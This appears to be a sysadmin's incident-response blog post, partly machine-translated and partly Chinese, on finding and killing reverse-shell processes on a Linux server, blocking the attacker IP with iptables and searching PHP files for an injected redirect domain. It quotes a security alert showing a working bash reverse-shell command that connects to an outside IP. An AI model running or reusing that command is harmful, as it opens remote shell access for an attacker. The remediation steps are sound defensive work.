The process of abnormal behavior - Shell bounce attack, KILL multiple processes

The process of abnormal behavior - bounce Shell Attack

Parent Process name: bash

Process name: bash

Process name: / usr / bin / bash

Process id: 23,077

Command line parameters: sh -c / bin / bash -i> & /dev/tcp/27.255.72.119/4451 0> & 1

Description: remote code execution vulnerability exploited by hackers or malicious Trojan horse in the control server to establish a reverse TCP connection, the connection is established, the hacker can use this connection to the remote execution of arbitrary system commands, serious harm to host security.

Solution: It is recommended that KILL immediately suspicious rebound SHELL process, and promptly clean up the scheduled task malicious code.

Look 27.255.72.119 What the hell?

 

 

The IP is all evil file.

First, review the process with ps, as follows:

ps -if

　　

N multi rebound SHELL process needs to be cleaned.

The following use of recycled kill off process.

ps command will show up a process grep command is to find the middle | pipeline command refers to the ps command with grep while performing PS LINUX is the most commonly used is also very powerful process view command grep command is to find, is a powerful text search tool, you can use a regular expression search text, and print out the matching rows. awk '{print $ 2}' $ fileName: reading the specified file line by line, a space as a separator, a second print field. The loop while read line redirection, done in the last write corresponding to the entire while do statement adds a constraint, each row is read to the end of the file.

 ps -ef | grep 27.255.72.119| awk '{print $2}'| while read line;do kill $line;done

 can not afford to kill the end, you can add -9 mandatory

kill -9 28271

View iptables rules, including all of the chain. filter table contains the INPUT, OUTPUT, FORWARD three rules chain. Description: -L is --list shorthand, is to list the rules.

iptables -L

 使用 iptables屏蔽IP段

iptables -A OUTPUT -d  27.255.72.119 -j DROP

 

#添加屏蔽IP 
#禁止此IP访问服务器 iptables -I INPUT -s 1.2.3.4 -j DROP 或 iptables -A INPUT -s 1.2.3.4 -j DROP 
#禁止服务器访问此IP iptables -A OUTPUT -d 1.2.3.4 -j DROP 如果要封某个网段： iptables -I INPUT -s 1.2.3.0/24 -j DROP  
#清空屏蔽IP iptables -t filter -D INPUT -s 1.2.3.4 -j DROP iptables -t filter -D OUTPUT -d 1.2.3.4 -j DROP  
#一键清空所有规则 iptables -F  
#查看 iptables -L INPUT 或 iptables -L 或 iptables-save（此命令将保存规则，下次开机自动执行） 

 

Netstat 是一款命令行工具，可用于列出系统上所有的网络套接字连接情况，包括 tcp, udp 以及 unix 套接字，另外它还能列出处于监听状态（即等待接入请求）的套接字。

netstat -tnpla| grep ESTABLISHED| grep root

cat /etc/rc.local

百度打开主网站被跳转链接了6he5566.com还弹出个QQ框，what？

find . -name "*.php" -exec grep -i  "6he5566.com" {} \;

删除这些文件，修改相应配置conf文件，修改文件目录权限，修复代码漏洞。